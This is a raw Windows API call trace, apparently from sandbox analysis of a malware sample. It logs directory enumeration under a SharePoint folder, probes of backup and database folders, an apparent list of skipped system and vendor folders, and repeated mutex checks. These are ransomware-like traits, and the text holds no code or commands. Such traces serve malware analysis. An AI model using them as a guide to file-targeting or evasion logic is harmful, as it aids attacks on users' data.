FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0056.420] GetLastError () returned 0x2 [0056.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18\x81")) returned 0xffffffff [0056.420] GetLastError () returned 0x2 [0056.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0056.421] GetLastError () returned 0x2 [0056.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.421] GetLastError () returned 0x2 [0056.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18?T\x18\x97")) returned 0xffffffff [0056.421] GetLastError () returned 0x2 [0056.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.421] GlobalLock (hMem=0x440004) returned 0x550170 [0056.421] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.421] GlobalUnlock (hMem=0x440004) returned 0 [0056.421] GlobalLock (hMem=0x440004) returned 0x550170 [0056.422] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.422] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.422] GlobalUnlock (hMem=0x440004) returned 0 [0056.422] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.422] GlobalUnlock (hMem=0x44000c) returned 0 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.422] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.422] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.422] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.422] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0056.422] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.422] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.422] GlobalUnlock (hMem=0x44000c) returned 0 [0056.422] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.422] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.422] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.422] GlobalUnlock (hMem=0x44000c) returned 0 [0056.422] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.422] GlobalUnlock (hMem=0x440004) returned 0 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0056.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0056.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0056.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0056.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0056.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.423] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0056.423] GlobalLock (hMem=0x440004) returned 0x550170 [0056.423] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.423] GlobalUnlock (hMem=0x440004) returned 0 [0056.423] GlobalLock (hMem=0x440004) returned 0x550170 [0056.423] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.423] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.423] GlobalUnlock (hMem=0x440004) returned 0 [0056.423] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.423] GlobalUnlock (hMem=0x44000c) returned 0 [0056.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.423] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.423] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0056.423] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0056.423] GetLastError () returned 0x12 [0056.424] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.424] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.424] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.424] GlobalUnlock (hMem=0x44000c) returned 0 [0056.424] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.424] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.424] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.424] GlobalUnlock (hMem=0x44000c) returned 0 [0056.424] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.424] GlobalUnlock (hMem=0x440004) returned 0 [0056.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.424] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.424] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.424] GlobalLock (hMem=0x440004) returned 0x550170 [0056.424] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.424] GlobalUnlock (hMem=0x440004) returned 0 [0056.424] GlobalLock (hMem=0x440004) returned 0x550170 [0056.424] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.424] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.424] GlobalUnlock (hMem=0x440004) returned 0 [0056.424] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.424] GlobalUnlock (hMem=0x44000c) returned 0 [0056.424] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.424] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.424] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.425] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.425] GlobalUnlock (hMem=0x44000c) returned 0 [0056.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.425] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.425] GlobalUnlock (hMem=0x44000c) returned 0 [0056.425] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.425] GlobalUnlock (hMem=0x440004) returned 0 [0056.425] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.425] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0056.425] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.425] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.425] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.425] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.425] GlobalUnlock (hMem=0x440004) returned 0 [0056.425] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.425] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.425] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.425] GlobalUnlock (hMem=0x440004) returned 0 [0056.425] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.425] GlobalUnlock (hMem=0x44000c) returned 0 [0056.425] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.425] GlobalUnlock (hMem=0x44000c) returned 0 [0056.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.425] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.425] GlobalUnlock (hMem=0x44000c) returned 0 [0056.426] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.426] GlobalUnlock (hMem=0x440004) returned 0 [0056.426] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.426] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN", len=0x4b | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned 1 [0056.426] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.426] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.426] GlobalUnlock (hMem=0x440004) returned 0 [0056.426] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.426] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.426] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.426] GlobalUnlock (hMem=0x440004) returned 0 [0056.426] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.426] GlobalUnlock (hMem=0x44000c) returned 0 [0056.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꐸRꐌR企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.439] GetLastError () returned 0x3 [0056.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@ꍴR企@\x18㿬Q\x181")) returned 0xffffffff [0056.440] GetLastError () returned 0x2 [0056.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0056.440] GetLastError () returned 0x2 [0056.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.440] MultiByteToWideChar 